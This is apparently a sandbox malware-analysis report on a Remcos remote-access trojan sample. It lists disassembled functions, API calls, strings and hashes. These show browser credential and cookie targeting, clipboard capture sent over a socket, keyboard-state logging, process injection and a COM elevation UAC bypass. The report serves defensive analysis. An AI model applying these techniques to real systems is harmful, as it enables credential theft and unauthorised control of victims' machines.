                        • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                        Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                        Download Yara Rule
                        APIs
                        • GetCurrentProcessId.KERNEL32 ref: 00412106
                          • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                          • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                          • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                        • OpenMutexA.KERNEL32 ref: 00412146
                        • CloseHandle.KERNEL32(00000000), ref: 00412155
                        • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                        • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                        • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                        • API String ID: 3018269243-13974260
                        • Opcode ID: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                        • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                        • Opcode Fuzzy Hash: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                        • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                        Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                        Download Yara Rule
                        APIs
                        • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                        • FindClose.KERNEL32(00000000), ref: 0040BBC9
                        • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                        • FindClose.KERNEL32(00000000), ref: 0040BD12
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Find$CloseFile$FirstNext
                        • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                        • API String ID: 1164774033-3681987949
                        • Opcode ID: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                        • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                        • Opcode Fuzzy Hash: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                        • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                        Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                        Download Yara Rule
                        APIs
                        • OpenClipboard.USER32 ref: 004168C2
                        • EmptyClipboard.USER32 ref: 004168D0
                        • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                        • GlobalLock.KERNEL32 ref: 004168F9
                        • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                        • SetClipboardData.USER32 ref: 00416938
                        • CloseClipboard.USER32 ref: 00416955
                        • OpenClipboard.USER32 ref: 0041695C
                        • GetClipboardData.USER32 ref: 0041696C
                        • GlobalLock.KERNEL32 ref: 00416975
                        • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                        • CloseClipboard.USER32 ref: 00416984
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                        • String ID: !D@
                        • API String ID: 3520204547-604454484
                        • Opcode ID: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                        • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                        • Opcode Fuzzy Hash: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                        • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                        Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                        Download Yara Rule
                        APIs
                        • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                        • FindClose.KERNEL32(00000000), ref: 0040BDC9
                        • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                        • FindClose.KERNEL32(00000000), ref: 0040BEAF
                        • FindClose.KERNEL32(00000000), ref: 0040BED0
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Find$Close$File$FirstNext
                        • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                        • API String ID: 3527384056-432212279
                        • Opcode ID: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                        • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                        • Opcode Fuzzy Hash: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                        • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                        Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                        • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                        • CloseHandle.KERNEL32(00000000), ref: 0040F563
                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                        • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                        • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                        • API String ID: 3756808967-1743721670
                        • Opcode ID: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                        • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                        • Opcode Fuzzy Hash: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                        • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                        Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: 0$1$2$3$4$5$6$7$VG
                        • API String ID: 0-1861860590
                        • Opcode ID: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                        • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                        • Opcode Fuzzy Hash: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                        • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                        Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                        Download Yara Rule
                        APIs
                        • _wcslen.LIBCMT ref: 00407521
                        • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Object_wcslen
                        • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                        • API String ID: 240030777-3166923314
                        • Opcode ID: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                        • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                        • Opcode Fuzzy Hash: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                        • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                        Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                        • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                        • GetLastError.KERNEL32 ref: 0041A7BB
                        • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: EnumServicesStatus$ErrorLastManagerOpen
                        • String ID:
                        • API String ID: 3587775597-0
                        • Opcode ID: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                        • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                        • Opcode Fuzzy Hash: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                        • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                        Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                          • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                        • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                        • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                        • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                        • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                        • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                        • String ID: lJD$lJD$lJD
                        • API String ID: 745075371-479184356
                        • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                        • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                        • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                        • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                        Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                        Download Yara Rule
                        APIs
                        • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                        • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                        • FindClose.KERNEL32(00000000), ref: 0040C47D
                        • FindClose.KERNEL32(00000000), ref: 0040C4A8
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Find$CloseFile$FirstNext
                        • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                        • API String ID: 1164774033-405221262
                        • Opcode ID: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                        • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                        • Opcode Fuzzy Hash: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                        • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                        Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                        Download Yara Rule
                        APIs
                        • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                        • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C38E
                        • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C39B
                          • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                        • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3BC
                        • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                        • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                        • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3E2
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                        • String ID:
                        • API String ID: 2341273852-0
                        • Opcode ID: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                        • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                        • Opcode Fuzzy Hash: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                        • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                        Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                        Download Yara Rule
                        APIs
                        • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                        • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$Find$CreateFirstNext
                        • String ID: 8SG$PXG$PXG$NG$PG
                        • API String ID: 341183262-3812160132
                        • Opcode ID: b6fdd12ea4283b508e25f04ac6086fd651a88d51969d46a0526c61d0c238dc80
                        • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                        • Opcode Fuzzy Hash: b6fdd12ea4283b508e25f04ac6086fd651a88d51969d46a0526c61d0c238dc80
                        • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                        Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                        • String ID:
                        • API String ID: 1888522110-0
                        • Opcode ID: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                        • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                        • Opcode Fuzzy Hash: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                        • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                        Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                        Download Yara Rule
                        APIs
                        • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
                        • RegCloseKey.ADVAPI32(?), ref: 004140A9
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
                        • GetProcAddress.KERNEL32(00000000), ref: 00414271
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressCloseCreateLibraryLoadProcsend
                        • String ID: SHDeleteKeyW$Shlwapi.dll
                        • API String ID: 2127411465-314212984
                        • Opcode ID: e30b5f6ce4cbdd366537afe2320d9bfcb0a6543311229dd69bf6235dce3d7422
                        • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                        • Opcode Fuzzy Hash: e30b5f6ce4cbdd366537afe2320d9bfcb0a6543311229dd69bf6235dce3d7422
                        • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                        Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • _free.LIBCMT ref: 00449212
                        • _free.LIBCMT ref: 00449236
                        • _free.LIBCMT ref: 004493BD
                        • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                        • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                        • _free.LIBCMT ref: 00449589
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ByteCharMultiWide$InformationTimeZone
                        • String ID:
                        • API String ID: 314583886-0
                        • Opcode ID: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                        • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                        • Opcode Fuzzy Hash: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                        • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                        Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                          • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                          • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                          • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                          • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                        • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                        • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                        • GetProcAddress.KERNEL32(00000000), ref: 00416872
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                        • String ID: !D@$PowrProf.dll$SetSuspendState
                        • API String ID: 1589313981-2876530381
                        • Opcode ID: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                        • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                        • Opcode Fuzzy Hash: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                        • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                        Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                        • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                        • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: InfoLocale
                        • String ID: ACP$OCP$['E
                        • API String ID: 2299586839-2532616801
                        • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                        • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                        • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                        • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                        Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                        Download Yara Rule
                        APIs
                        • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                        • GetLastError.KERNEL32 ref: 0040BA58
                        Strings
                        • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                        • UserProfile, xrefs: 0040BA1E
                        • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                        • [Chrome StoredLogins not found], xrefs: 0040BA72
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DeleteErrorFileLast
                        • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                        • API String ID: 2018770650-1062637481
                        • Opcode ID: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                        • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                        • Opcode Fuzzy Hash: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                        • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                        Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                        Download Yara Rule
                        APIs
                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                        • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                        • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                        • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                        • GetLastError.KERNEL32 ref: 0041799D
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                        • String ID: SeShutdownPrivilege
                        • API String ID: 3534403312-3733053543
                        • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                        • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                        • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                        • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                        Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                        Download Yara Rule
                        APIs
                        • __EH_prolog.LIBCMT ref: 00409258
                          • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                        • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                        • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                        • FindClose.KERNEL32(00000000), ref: 004093C1
